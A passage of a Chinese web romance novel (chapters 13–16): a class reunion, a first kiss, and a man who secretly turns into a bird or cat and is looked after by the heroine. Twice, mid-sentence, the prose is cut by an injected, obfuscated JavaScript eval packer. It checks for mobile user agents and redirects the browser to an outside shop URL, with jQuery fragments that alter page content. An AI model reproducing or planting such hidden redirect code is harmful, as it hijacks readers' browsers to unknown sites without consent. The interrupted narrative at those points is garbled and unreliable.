她还在北京的时候,每年也有人邀请她来同学会,但因为山高路远,时间也紧张,她一次都没有回去过。现在她人在本地,再拒绝就不好了。左右不过一场社交活动,应峤这样想。 并且她也有些奇怪的念头,那就是她想知道其他人记不记得沈靥星,会不会邀请他?如果她的心是一面单调的镜子,那么现在已经不可遏止地印上了沈靥星的影子。 在回复完消息之后,立刻有人给她打电话。对方是个听起来很活泼的女人,自我介绍之后她想起来了,女人是许裕雯,是上学时的语文课代表,现在留在母校教书。 两人寒暄几句之后,应峤问:“都有谁去?” 那边想了想道:“我看看哈,我这里有个名单,人不多,有刘辉、池晓惠、王晗……哎,怎么还有个沈靥星。” “他是谁来着?” “这名字还挺好听的。” 原来还有人不记得他,应峤下意识想到。 “应峤,你还记得他是谁吗?” “体育委员。”应峤提醒道。 “哦哦,不愧是你啊,记性这么好。”对方称赞道,继续道,“他还挺积极,第一时间就回复了。” 应峤的心又被突然地叩响。 “还有点好奇,你见过他吗?”对方问道,难得有个不算熟悉的同学,她一下来了兴致。 “嗯,算是见过吧……”应峤不知该怎么说,她不太想暴露两个人的关系。 “行,先不说了,到时候再聊。”好像有人叫她,她很快结束了对话。 到时候他们估计会像自己一样认不出吧,应峤心想。 不过沈靥星这几天都不见人影,竟然会答应去同学会?应峤又有点捉摸不透他。 同学会定在周末。 出发前应峤对着镜子打量了一番自己的绿发,已经褪色褪得有些发黄,更像芒果了。看了半天,她决定还是好好地打扮一下自己。 先是用金属发插把自己的头发梳拢编起来,然后再着重描绘眉眼,最后她换上了苔绿色内搭、深棕色的条纹丝绒西装和点缀着珠片的长裙。 她的胸前戴了一朵毛茸茸的胸针,那是她用芒果的羽毛做的。 准备好一切出门,应峤叫了辆车,同学会聚餐的地方离她家有些远,选在一个颇有江南水乡特色的饭店。应峤去过那里,食材很新鲜,价格也不贵。 到了地方,已经有人在门口等待,是季央,上学时的纪律委员。对方好像没有认出她来,直到她走近跟她打招呼。 季央没怎么变,只不过黑长直变成了短发,显得灵动又随性。 “季央,好久不见。” “啊,好久不见,你是……应峤?”季央显然很惊讶,她可能没想到自己发生了这么大的变化。 “你这样很好看。”季央夸赞道,从她的眼神中,应峤能感到她是善意且真诚的。 “快进去吧,二楼云水阁,已经有人来了。”季央招呼她,给她指了指电梯的方向。 应峤点点头,顺着她的指示上了二楼。在走入包厢的前一秒她还有些忐忑,甚至有些后悔。这些人她已经很久没联系了,怎么就答应了聚餐呢? 就在她犹豫时,有个男人走出来,见到她明显一愣,试探着问:“你是……?” “应峤。”应峤心中悔意更浓。 不过很显然,对方比她更会社交,很快就反应过来并打破尴尬道:“应峤!好久不见,欢迎你回来。” 14. 变鸟第十四天 如果说应峤的出现他们早有准备,所以尽管对她形象的变化感到惊讶但也很快接受,沈靥星的到来就出乎所有人的意料了。 和应峤一样,他也精心装扮过自己。头发微卷,戴黑色半框眼镜,穿了偏休闲的深蓝色牛仔上衣,里面露出一小截白衬衫和深黑领带,袖口随意卷起来,下身黑色直筒裤,两条腿笔直修长。 唯一的亮色是他手里拎着的红蓝条纹细围巾。 在他进门的一瞬,应峤仿佛看到了时间的停滞。所有人都不约而同地停下了自己正在做的事,吞下了将要说的话,看着他。 沈靥星很自如地冲点点头,说:“不好意思,我来晚了。” 大家面面相觑,没人反应过来他是谁,还是季央率先打破平静,“沈靥星!就等你了,快进来!” 她的话为大家按下了动作的开关,其他人接二连三打招呼。 沈靥星拉开椅子,顺畅地坐在最后一个位置上,正好与应峤隔桌相对。 身边男人们以一种温和的眼光互相打探,暗中比较彼此的身高、体型还有事业。但不约而同地都避开了他。 年少时大家仗着青春,保持着还算矫健和不错的身材,但是步入社会后,繁重的工作和逐渐增长的年龄都让他们肌肉松弛,身材变形。 沈靥星格格不入,他坐在位置上,谁来都会第一眼看到他,看到他恰到好处的发型,看到他清晰精巧的脸庞,还有他薄而不弱的身体,还有他动作时隆起的肌肉线条。 这种对比任谁都生不起嫉妒之心,片刻空白后,还是有人率先打破僵局。他隔壁的男人从手边拿起酒作势要倒给他。 边问:“现在在哪儿高就啊?” 沈靥星手微遮杯口,笑着拒绝,“我开车了。” “刚回国,在朋友公司帮忙。” “哎,太可惜了,”男人放下酒瓶,拿起果汁,沈靥星接过来,“我自己来就好。” 男人坐下,举着杯子盯着他感叹:“你变化可真够大的!” 沈靥星道,“可能是大家很久没见过我了吧。” “就是啊,我们当时还一起踢球来着,结果你小子高中毕业就没动静了。”有人曾经跟他关系不错,很快热络起来。 “对啊,我记得你第一场就踢坏了一双球鞋,可把我们心疼的啊。”又有人加入了聊天。 局面很快热闹起来,圆桌很大,大家三三两两地对着头聊天。许裕雯健谈,季央也很有社交手腕。她们主动跟应峤攀谈,聊着近几年家乡变化,尺度拿捏得刚刚好。 应峤面对她们,又仿佛回到了少女时期课后的休闲时刻。 年少时她们聊成绩聊明星八卦聊一点点少女的悸动,步入社会后她们聊生活和工作。 季央和许裕雯明显要熟一些,许裕雯问季央之前那个项目进行得怎么样了。季央长叹一声说还好吧,算是继续推进了。 许裕雯对着应峤说:“你看她,是不是黑眼圈特别明显。” 应峤点了点头,季央又更夸张地垮了脸,“我不想加班啊。” “我也不想,”许裕雯道,“跟学生们相处挺好的,就是不想应付领导。” 她们说着说着,话题又绕回应峤身上,季央问她的工作感觉怎么样。她们没有问为什么突然回到家乡来,也没有问心情如何,只是像其他人那样随意地聊起。 “现在的工作还好,没什么特别麻烦的内容。”应峤说着忍不住朝对面看。 “之前在大公司的话,压力很大吧。”季央一副朋友我懂你的表情。 “嗯……”应峤喝了一口冰凉的气泡酒,“经常加班,一个本子要反复修改好多次,还会被老板嫌弃说不够努力。” 季央心有戚戚焉,继续说道:“没事,回来也好,你知道吗,你做的这些选择我们一直都觉得很酷。” “我吗?”应峤有些意外。 “是啊,你不会不相信吧。”季央也很意外。 “真正酷的人可不会像我一样。”应峤自嘲道,她有些怔住,感觉什么东西猛的蹿进脑海,那是一小段离职当天的回忆。 其实离职没那么简单,应峤一直做得不错,手里有几个重要工作,而且单位招人不容易,因此提出离职申请后大老板小老板都轮番劝了好几次。 应峤很坚定,她往办公室一坐,只说是自己的问题。 她想好聚好散,小老板却咽不下这口气,他觉得应峤不知好歹,打了他的脸。那几天他都不待见她。 临走前一天,他们还在开会,窗外夕阳沉沉,血一样的颜色压在楼宇间。小老板突然说了句:有些人,离开这个单位什么都不是。 应峤一直记得,什么都不是,像一个诅咒一样一直盘亘在她心头。 桌上人依旧在推杯换盏,应峤却对他们都没了兴趣。酷对她来说是个很好的词,她从小就向往着那些很酷很强大的女人,在经历过现实的洗礼之后她越发体会出其中的珍贵。 “刚上学的时候你记得吗,大家都不太熟,我旁边那个男的说我上自习乱讲话影响到他了,其实我没有是他一直在跟别人聊天讲黄段子。但我没证据不知道怎么怼他,是你突然站起来跟班主任解释不是这样。”季央道。 “像个女侠一样。”季央自己反倒有些腼腆了,她好久没有这样直白地赞美过谁。 “哎,那太夸张了。”收到赞美的应峤,第一反应不再是坦荡地接受,而是客气地回复,“而且那些事都过去很久了。” 人都是会变的,她也不是曾经那个锋芒毕露,狂妄到认为自己成年之后的路都是上坡路,毕业之后未来都是一片光明的应峤。 “谁说的,你现在还是很厉害好吗?”季央音调拔高。 “对啊,不是所有人都可以放弃这么好的工作回来的。”许裕雯附和道。 “你一个人面对那么多事,还坚持到现在,很厉害了。”季央继续道,随即她又咧嘴一笑,“嘿嘿,当然了我也是。” 应峤心里一软,仿佛卸下了防备。在进入这个包厢之前,她心里是有些戒备和紧张的,不仅因为沈靥星,还因为这些昔日的同学们。她以为自己早就不在意了,但她脱离了过去家庭的泥沼,却保留了学校这一片净土。所以她还是会担心,自己的不好、不强大、不风光会让她们失望。 她不想让每一个人失望。 “哎,说点不好意思的,”许裕雯双颊酡红,她喝多了酒,声音都有些飘忽,“当时我真的觉得我能考上北大来着。” “谁不是呢,来喝一口。”季央劲儿使大了,铛一声碰上她的杯子。 “当时还偷偷买名校的明信片,我夹了一张在自己的语文书里,跟自己说以后一定要去燕园读书。”许裕雯怅然道。 突然她又想起来应峤,眼睛亮了亮,问:“峤峤是不是在北京念书来着,听说后面几届还流传着你的传说呢,快跟我们说说那边的生活有没有什么不一样。” “嗯……北京的秋天很美。”应峤也捧着杯子,她不敢喝酒,杯中是橙汁,有些甜过头了,“大学的生活很自由。” “社团活动和课程都很满。”应峤继续道。 “唉,早知道当年再努力点了。”许裕雯仰脸长叹。 “得了吧,你已经够努力了,别因为莫名的想象累死自己。”季央白了她一眼道。 “来,为了我们喝一个吧。”许裕雯举起杯,桃汁、酒精、茶水碰撞在一起,发出不再是梦破碎的声音。 “别光喝啊,尝尝这个,这里的黄花是一绝,嫩哦。”旁边有只手转过来一盘清蒸鱼。 她们纷纷举箸,在这个时候,应峤又与沈靥星对上视线。他手里既没筷子也没酒杯,反倒拿着一张名片。他正与蒋明好交谈。 人声嘈杂之中,她听到支离破碎的对话。 “我有一个认识的……推给你试试。” “好啊,谢谢啊。” “………地方……远……” “没事啊,现在开疆拓土嘛……” 沈靥星又说了句什么,低头轻笑,随即朝应峤瞥来一眼。 应峤说不准他是喝醉了还是没有,因为他整张脸都是上扬的,眼角眉梢泛着喜意。应峤与他对视,他的视线就不动了,怕被人看出什么,应峤赶紧偏过头去。 正好对上季央,她问:“怎么了,看什么呢?” “没什么没什么,发呆。”应峤遮掩着。 季央却顺着她的方向看过去,说:“蒋明好?” “什么?”许裕雯凑过来。 “哦,蒋明好啊,之前他对你是不是有点意思。”她问应峤。 “你们后来有联系吗,有在一起吗?我们当时都有点好奇。”许裕雯忍不住八卦。 蒋明好是很典型的好学生,人也长得不错,暗恋应峤但总不好意思开口,被人发现了也只是拜托对方不要说出去,担心影响应峤学习。 “好像当时他准备了给你的毕业礼物。”季央补充道。 “可我们的毕业礼物不是抽号然后交换的吗?”应峤疑惑道。 毕业那年班长组织了一个活动,大家各自准备一份毕业礼物,然后将自己的名字写在纸条上,投到箱子里,他们分别去抽签,抽到谁就接受谁的礼物,并且跟他交换。 “对啊,他好像打算跟人交换这个机会。”季央回忆道,“我也不确定啦,只是道听途说而已。” “我抽到的好像不是他。”应峤否认了。 本来有些清晰的事,一下子又成了谜团。许季两人齐刷刷地朝蒋明好那边看去,试图看出点什么线索。 可惜蒋明好忙着跟沈靥星沟通业务,完全没意识到有几个女人在八卦他,倒是沈靥星抽空冲她们笑了笑,好像他一直分神注意这边似的。 “他现在是不是还单身呢?”许裕雯突然冒出一句话。 “谁?蒋明好?”季央道。 “不,沈靥星。” “你们说之前怎么没发现他长这么好看呢?”许裕雯感觉自己有些头昏,世界好像静止,灯光在空气中缓缓流淌,然后围绕着沈靥星编织成虹色宽带。 “就是啊,”季央很认同,“听说他是富二代,家里做电力相关生意的。” “我只记得他刚转学来的时候,穿得很普通,也不爱说话,所以很少有人跟他玩。”许裕雯道。 “除了峤峤吧,当时她还挺照顾这个新来的。”季央目光一转。 “奇怪的责任感作祟吧,后来就有人跟他一起踢球了。”应峤继续道。 “我跟你们说,后来有人跟他一起玩,是因为他们发现沈靥星一上来就买了好几双好贵的球鞋,后来还可以给他们提供场所聚会。”许裕雯压低声音道。 “啊,因为这个吗,那当时的男生们还挺现实的。”季央完全没想到。 “我感觉他也挺聪明的,看着默不作声,一上来就把关键抓住了。”许裕雯煞有介事道。 对啊,沈靥星就是这么奇怪又敏锐的人。 在她们的窃窃私语中,沈靥星身上的光带依旧在缓缓移动。同学们敬酒,玩笑,夹菜,应峤感觉自己仿佛灵魂出窍,看着眼前的一切发生。 聊着聊着,不知是谁将话题转到了恋爱结婚上。席间已经有人步入婚姻殿堂,也有人有了孩子。 不过季央却没那个心思,她说:“我连恋爱都不想谈。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276789|198285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她夹了一口荠菜春卷,清爽生涩的味道从口腔中弥漫开来。 “刚分手。”应峤潇洒一笑,“还要喝吗?”她注意到许裕雯的杯子空了。 “不喝了,头有点晕了。”许裕雯盖住杯子摇摇头。 “我妈前几年还总催我,后来就换说法了,说人生苦短怎么样也要体验一下,”季央说,“后来说也不说了,觉得我一个人挺好的,工作不错能养活自己就行。” “哎对了,看我养得小狗。”季央边说边掏出手机翻相册,任何一个养宠人都忍不住跟朋友分享自己的宝贝的。 入目处是一只看起来甜甜的,长得很善良的小泰迪,棕色头发卷卷,应峤突然想到自己的同事,随即在心中很不好意思地向他道了歉。 话题跳跃得如此快,应峤也把自己的手机掏出来分享芒果的照片。不知不觉,她竟然拍了那么多,相册里一片黄黄绿绿。 “你这个胸针,是不是芒果的同款呀?”许裕雯注意到应峤的小巧思。 “对,我自己做的,还不错吧。”应峤很开心,略带炫耀道。 “好厉害啊,我平时休息也喜欢做点小手工,你还记得不,当年我们还一起上陶艺课,那个谁被人糊了一脸泥巴。” “对对对,叫什么来着,我就想起来大家都喊他二哥。” 她们七嘴八舌,把时间一下子拉回青春期。应峤有些放空,她看着这一桌行业各异,打扮不同的女生,她们仿佛又褪去了成熟的外表,成为了当初的青涩少女。 时光好像从她们身边走过了,又好像完全没有。 宴会临近尾声,大家都有些依依不舍。也许见到曾经的同学,对于在现实生活中奔波忙碌的人们来说,是一种难得的轻松。虽然大家并不熟悉,但还因为彼此的回忆而产生了亲切感。 沈靥星借口去洗手间率先离去,半途他拐去前台想要结账,却得知季央已经付过钱。 他没着急回去,而是在洗手间面对光亮洁净的镜子整理了自己的衣服,又撕开一支薄荷味的漱口水。 做完这一切他才回去跟大家告别。 同学们三三两两的离开,应峤却不着急回家。她脚步拖沓走在最后,却在走廊的尽头看到倚着墙,同样等到最后的沈靥星。 跟电视剧里演的不一样,他没有点燃一支烟,一派寂寞萧索,也没有故作轻松姿态,对她展现出暧昧。 反而,他像是天生就该在门口等待她一起走那样,待她靠近,自然而然地走过来。 他微低着头,道:“你看起来很开心。” 这句话该她来说才对,明明是沈靥星更开心,他眼睛亮的要命,唇边的笑意好像蜜糖。 应峤感觉像是有只小狗在闻嗅自己,察觉到自己的情绪波动。而她也没有自己想象中的抗拒,或许是今夜的酒精冲昏了她的头脑,她盯着沈靥星在灯光下熠熠生辉的脸,心想跟他恋爱也没有什么不好。她要享受生活,她该享受生活的。 “我听到你们在讨论我,”沈靥星继续道。 应峤有些被人抓包的尴尬,脚步一顿,继而又听到沈靥星说,“还有蒋明好。” 他怎么听力这么好! “你喜不喜欢他?”沈靥星亦步亦趋,依依不饶。 “你不是都听到了吗?”应峤有些恼羞成怒,好想踩他一脚。 沈靥星一定是笑了,应峤与他并行,感觉靠近他的那半边脸的热腾腾的。 “我想听你再说一遍。” 他们已经走到一楼的拐角,这里有些黑,暂时没有人,楼上楼下是一片嘈杂声。 “不喜欢。”应峤心一横,飞快道。 “那我呢,你讨厌我吗?”沈靥星还是没敢问,你喜不喜欢我。 讨厌吗,应峤停住了,完全不讨厌,甚至还有些喜欢。可是喜欢他什么呢,应峤没有一个明确的答案,她现在还会喜欢上谁,对谁抱有期待吗? 沈靥星没有听到答案,他的心也被紧紧地捏着,直到应峤说:“不讨厌你。” 那一刻,他简直心花怒放。 他无法克制自己的情绪,仿佛被什么迷惑着,轻轻地靠过来。应峤没有拒绝,她闭上了眼睛。 在楼梯间接吻实在算不上一个明智的行为,应峤有些后悔了,她怕被人发现,感觉自己像做贼一样刺激。 于是她克制着分开,沈靥星睁开眼,有些迷茫,他的手已经放在她的脖颈处,掌心热得要命。他的脸也热得要命,好像那个主动的人不是他似的,唇更是红的像滴血。 不继续吗?沈靥星在用眼神问她。 应峤转头飞速地向外看了一眼,将他向里带了带。 沈靥星明白了,他翘起嘴角问道:“在这里接吻,是不是很像在偷·情?” 他的声音也有些哑,说话间都带着未尽的欲望,黏黏糊糊的,像是某种东西将她轻轻地缠裹住。 “对吗?” 应峤心想他脑袋里都是些什么乱七八糟的。 沈靥星好像很喜欢这样,他又贴过来,两人之间的空间被挤压得更狠,几乎亲密无间。 “你从不主动看我,也不主动跟我说话,甚至都不主动经过我身边。”他的语气像是在埋怨,又像是在撒娇。 “我什么时候……”应峤下意识反驳,她以为是刚刚吃饭的时候,那时候两人举杯还曾视线交汇,很快她又反应过来,不是这个意思。 “你是在……”应峤试探着确认,“翻旧帐?” “对啊,我很小气也很小心眼。”沈靥星说得理直气壮,可他却没敢直视她,他将头埋在她肩膀上,闷声闷气地说。 声音变形,又好像穿过了数十年的时光迢迢而至。 15. 变猫第一天 应峤抬手抚了抚他的背脊,她想不到该如何开口应对,只能以沉默的行为代替。从小到大她很少依赖谁,也很少对谁撒娇,遇到这样的情况只有手足无措而已。 不过她并不讨厌这种感觉,对她而言,“小心眼”的沈靥星比完美无缺的沈靥星更让她感到轻松。 沈靥星则顺势握住她的手臂,想要换个姿势跟她牵手。可就在这甜蜜的关头,他突然感到熟悉的疼痛从四肢百骸涌来,毫不留情地剥夺他全部的自控力。 他要变成鸟了。 怎么恰好在此时此刻? 沈靥星僵住了,刘大师跟他说过的话像幽灵一样浮现在他心头,「福兮祸之所伏,那些你以为帮助你的事情有可能反过来成为绊脚石啊。」 现在一语成谶,但他绝不能被应峤发现,至少现在不能。如果他在她面前变身,那一切都说不清了。 但猛烈袭来的痛苦叫他忍不住颤抖,整个人伏在应峤身上,每一次呼吸都带来绵长而清晰的疼痛。冷汗涔涔而下,他的手僵在她身侧,慢慢收拢成拳,应峤察觉到不对劲,疑道:“怎么了?” 沈靥星缓缓直起身,想要冲她笑,却很勉强。他听到自己的声音难听得不成样子:“抱歉峤峤,我有点急事,要先走了。” 他后退两步,身形不禁踉跄,眼前的景物开始摇晃,继而模糊一片。 腕上的机械表发出咔嚓咔嚓微不可察的声响,他还争分夺秒的看了一眼时间。 八点半。 时间延迟了。 “要我陪你吗?”应峤看他这副样子,追问道。她有些糟糕的想法,也许沈靥星立刻后悔了,刚才他只是冲动,现在要找借口逃跑。 但是沈靥星连应峤眼中的难以置信也看不清了。他咬了下舌头,企图换来一丝清醒,继而道:“对不起,有机会我会跟你解释。” 他几乎是扔下这一句转身就走,他越走越急,两步并作一步迈下台阶,到最后竟跑了起来。 夜风吹过他的耳侧,他的身体越来越轻盈,越来越矫健,这一次他变成了一只猫。 路边很热闹,好几桌人聚在一起吃烧烤。其中不乏年轻人,看到他跑过惊喜叫道:“哎,小猫!” 有人试图拿竹签戳他,被他灵巧地躲过。 还有人以为他是店家养的,弯着腰追过来争先恐后地摸他。吓得沈靥星四条腿简直跑出残影,一溜烟从人群桌椅中溜走。 终于跑脱,在一片空地上,沈靥星呲牙咧嘴地提起腿,刚才有砂石嵌在他的脚掌上,很疼。 他是人,不是猫,不习惯不穿鞋在外面走。因此他慢吞吞地、一瘸一拐地向前,朝着记忆中最近的地铁口走去,期冀可以再遇到应峤。 不知走了多久,沈靥星才看到了象征着人类文明和温暖的入口。他的脚垫火辣辣的,已经磨红破皮。 “哎,你是谁家的小猫呀?” 地铁口走出来几个年轻女生,惊喜地将他围住。 “眼睛好大,好萌。” “黑猫警长。” “可以摸吗?” 沈靥星呲牙:不可以。 救命,应峤怎么还不来,她会不会已经走了,或者打了车。沈靥星翘首以盼,看着人群来来往往,逐渐心灰意冷。 作为流浪猫,初秋的夜晚总是难熬。 沈靥星作为外来猫,不小心误入狸花老大的地盘,被给了两拳之后就无师自通地学会了如何打架。 一回生二回熟,沈靥星打了三回挂了两回彩就暂时获得了认可,成功得到了一块温暖避风的地方休息。 沈靥星辗转半夜,应峤也在家里睡不着觉。刚才与沈靥星接吻的感受犹在唇边,她不由得回忆。 薄荷的气息在他唇齿间弥漫,不由分说地向内侵入,她被迫承受,与他吻得更深。 他是个极有耐心也危险的人,应峤不确定自己是否只是他的消遣。 应峤迷迷糊糊地睡着,果不其然第二天在镜中看到自己憔悴的脸庞和眼下聚拢的青黑。 涂了两层遮瑕,她才罢手,换了身低调朴素的灰色套裙去上班。 谁知刚按开电梯,就撞见沈靥星。 他也有些精神不济,靠在电梯厢壁上微仰着头休息。见到她进来,先是一愣,继而略显倦怠的眉眼瞬间点亮。 他扬起笑容,“峤峤。” 昨天沈靥星突然抛下她离开,应峤认为自己不应该给他好脸色,于是假装没听到,迅速变化神情,故作镇定地去按按钮。 “对不起。”沈靥星从她背后靠过来,声音轻轻。 “我……昨天发生了意外,身体不太舒服。” 电梯很快停在应去的楼层,应峤脑袋里乱糟糟的,她认为沈靥星的借口很拙劣,道歉也没有什么力度。但他们之间是什么关系,男女朋友吗? 她冲出电梯,却发现沈靥星跟着下来。 “你干什么!不怕被别人看到?”应峤惊道,扯着他随便躲进一间房间。 这是一间小型的会议室,空荡无声,唯有阳光薄薄地流下来。 “被别人看到你就会跟我分手吗?”沈靥星问。 “我们什么时候在一起了?”应峤心想这都什么跟什么啊。 “昨晚啊。”沈靥星理直气壮。 他被应峤甩进会议室之后就顺手拉了两张椅子出来,此时正坐在其中一张上小心翼翼地试图去拉应峤的手。 “昨晚是我们都喝醉了。”应峤下意识想要逃避。 “我没喝醉,我一滴酒都没有喝。”沈靥星如愿以偿捉到她的手。 “你是不是不想承认?”过了一会儿,他才试探道。 他看起来步步紧逼,却是在虚张声势,像一个一戳就破的气球。 应峤不承认,他也没有办法,昨天已经是他主动突破两人距离。 “我,先不说这个,昨晚你为什么突然跑走?” 应峤不弄明白是不会轻易善罢甘休。 “你告诉我,我就承认。”她一定要坦诚的全无保留的爱。 “真的?”沈靥星怀疑道。 “真的。”应峤反手握住他的手,目不转睛地对他对视,似要从这张若无其事的脸上看出什么伪装的端倪来。 结果是一无所获。 “我心脏不舒服,怕你看了之后吓到,所以就逃跑了。”沈靥星半真半假道。他不算说谎,的确心脏不舒服,但他没说是因为什么。 说了应峤会信吗,应峤信了还会收养他吗?不会的,沈靥星尽管意识到欺骗可能会为他们俩埋下巨大的隐患,但还是忍住没有说。 “你下次可以直接告诉我,我陪你去医院。”应峤拧起眉头,她觉得沈靥星小心的有些过分了,“你昨晚脸色很差。” “那现在呢,我的脸还是很不好吗,很丑吗?”沈靥星本就白的脸又白了几分,他试图抽出手来遮住应峤的眼睛,叫她暂时不要看自己。 “不丑,很好看。”应峤唇边浮起笑意,没有往日冷淡,“你想让我一天都不看你?” “不行!”沈靥星立即反对,他扣着应峤的腰将她拉入怀中,头埋在她身上。 “那我以后是你男朋友对吗?”沈靥星追问。 “算是吧。”应峤还是答应了。 得到了肯定答案的沈靥星心花怒放。 他站起来,想要亲一亲应峤,却被她推开了,“去上班,今天肯定迟到了。” 沈靥星歪到在椅子上,发出一声闷哼。 “别骗我啊,堂堂大老板装病不想上班是怎么回事。”应峤以为他在装可怜,嗔道。 谁知低头一看,沈靥星脸色更是惨白,双颊飞起一片不正常的潮红。 应峤立刻探他额头,发觉他正烧得滚烫。 昨晚心脏不舒服,今天早上发烧,沈靥星就像个玉做的摆件,不小心呵护就病了。 “头疼。”沈靥星抱着她不肯放手,“陪我休息一会儿吧,这里没有人。” “你得去医院。”轮到应峤有些头疼了,这个人怎么这么不会照顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276790|198285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己? “我知道,我上午还有东西要收拾,收拾完就会去的。”沈靥星道。 “要不你帮我看看,有什么东西没有准备好。” 沈靥星要出差,去隔壁省验收辣椒。他的行李已经准备好,出行计划也由秘书做得很周全,甚至车票买得都是牛马专列的头等座。 应峤跟着他到办公室,被他按在宽敞舒适的老板椅上,看着他将东西一件件摆出来,分门别类地放整齐,向她介绍,等她都看过后再一件件原封不动地收回去。 收拾完了,应峤对着沈靥星期盼的眼神,海豹鼓掌道:“好!” “好什么,”沈靥星一挑眉,将她圈在老板椅上,居高临下问,“要跟我分开这么久,很好吗?” 他虽然质问,但没有丝毫怒气。 应峤伸手推他,一不小心按在他柔软的胸肌上。 小沈总一点也不小。应峤脑袋中冒出一个诡异的念头。 沈靥星欺身,咬上她的下巴,发泄似的用牙齿磨了两下,又慢慢上移在她唇上亲了一下,这才恋恋不舍地放开。 “你要学会独立。”应峤憋出一句。她眼中闪烁着狡猾的笑意,故意折腾他。 “我是病人。”沈靥星坐在办公桌上,低头翻手机,边翻边道,“不然你跟我一起去。” 他本来没指望应峤同意,即使他是老板,也不想随随便便安排她做什么。应峤却道:“好。” “你答应了?”沈靥星手一顿,目光从手机移到应峤的脸上。她不像是开玩笑。 “有什么不行的?”应峤耸耸肩,“就当出去走走,再说了我本来就更想做业务。” 她早就受够了被拘在一个小房间里写报告做PPT,还要每天被领导挑语病提问题,在系统上跟其他部门抢会议室,然后再被人阴阳怪气。 说出来心里痛快多了。 应峤给自己买了票,三天后出发,要走一周。正好部门的工作都完成的差不多了,她走得毫不愧疚。 盯着她买好了票,沈靥星这才放松。神经刚一松弛下来,原本有些压下去的高热又席卷而来。他头疼欲裂,眼眶也烧得发红,倚在沙发上不说话。 应峤倒了杯水给他喝,又按照他指示的方位取出来医药箱。沈靥星吃了药,一会儿就昏昏欲睡,人已经倒下了,手却还紧紧牵着她不肯放。 既然是病人,应峤就对他多有纵容,任凭他握着睡了一会儿。在此期间,她忍不住在心里仔细描摹了一番沈靥星的长相。 美人总是得天独厚的,就连病倒了也别有一番风味。 他今天穿了一身深棕色毛呢西装,里面是浅粉色衬衫,衬得脸白的像鬼,唇没有血色,眉眼却浓黑,眼头被高挺的鼻骨撑起两点高光。一张脸就这样浓墨重彩。 即使是在病中浅眠,他唇边也是带着笑意的。 看着看着,应峤突然发现他额前黑发下藏着一道伤口。不是很深,像是爪子挠的,细细一条,已经结痂了。 她向前倾身,想要看个清楚,忘记了自己的手还在沈靥星掌中,一下拉动他的胳膊,袖口微落,露出腕上一块纱布。 这是他昨晚跟野猫打架受的伤,她不知道。 她只知道沈靥星身上有伤,人还发了烧,又拖着疲惫的千疮百孔的身体来工作,还要跟她谈恋爱。她心软了又软。 同样,她也意识到,沈靥星是个有很多秘密的人。 握着应峤的手,沈靥星睡得很好,半个小时转瞬即逝,他一点梦都没有做,像是沉在无声的黑暗中。 等到他睁开眼,朦胧之中,看到应峤的背影。她也睡着了,坐在厚实的地毯上,上半身靠在沈靥星胸前,这个姿势不太舒服。 沈靥星慢慢地抽出手,弯腰将她放在沙发上,又扯过一张薄毯给她盖好。 做完这一切,他的伤口又裂开,血争先恐后地洇出。他没感到疼痛,反而感到安定,像痛得大汗淋漓之后吃了止疼药,药效发作的时刻,他虽然疲累,却有空虚被填满安抚的幸福。 16. 变猫第二天 从沈靥星办公室走出来时,应峤手里多了一个黑色丝绒首饰盒。这是他送给自己的礼物,一枚Dior的樱花枝胸针,他说这个总会让我想起你。 他还拜托自己帮他养一只奶牛猫。 只不过交接方式很特别,他说那只奶牛猫会在下班之后主动等在公司门口,她只需要把它带回家就好了。 这算什么,他们的定情信物吗,一枚胸针和一只来历神秘的小猫? 应峤有些期待,如同期待一个盲盒那样。 到了下班时间,她立即打卡走人。临走时她能感到领导对她微妙的态度变化,平常她准时下班会被领导阴阳怪气,说她是整顿职场,说她对工作不投入,不上心。领导心腹也跟着附和,问她是不是娱乐生活特别丰富,说年轻人就是不一样。 但这一次,知道应峤参与验收辣椒的项目是由小沈总亲自捞人之后,她们什么都没有说。 等到了公司大门,天还没有完全黑下来,灯光与粉紫色的天光交织碰撞,让应峤心旷神怡。她狠狠吸了一口不算新鲜的,混合着车鸣行人脚步声的空气,等待那只约定中的猫咪。 她没等多久,就被什么东西撞了一下。 圆圆的脑袋,黑白色的身体,绿色的眼睛,一只如约而来的奶牛猫。 沈靥星绕着她转了一圈,作为猫他的脑袋有些不灵光,智商时不时上线。只能靠猫的本能来辨认。 发型确认,衣着确认,气味确认,奶牛猫用自己平滑的脑仁确认了一番,没错,是应峤!他立即身子一歪倒在她脚下喵喵咪咪的叫了起来。 人,猫想你。 应峤刚开始有些手足无措,但很快就被这股撒娇劲折服,蹲下身谨慎地摸了两下猫的后背。 猫扭得更起劲,一爪子抓住了应峤的裤脚,似要向上攀爬。柔软的衣料,比粗糙的马路令他感到舒适。 应峤赶紧脱下外套将它裹住抱起来。一回生二回熟,她对于平白无故捡到流浪动物已经很熟练。 小猫一直在她耳边哼哼唧唧的叫,眼泪汪汪,委屈的不行。仿佛应峤真的是它的负心主人,意外将它丢弃。 应峤摸索着捏住它的腿,举起来看一只开花的爪子,灯光下那柔嫩的脚垫已经红彤彤的。 小猫已经得逞,不再叫,任由她捏着,一副乖巧样子。 “走吧,跟我回家。”应峤将它往怀中拢了拢。 小猫:依偎。 有猫的人是不一样的,有奶牛猫的人更是不一样。应峤举着逗猫棒举了半小时,逐渐绝望,猫的精力怎么这么好啊! 真看不出来沈靥星是会在私底下养这种猫的人! 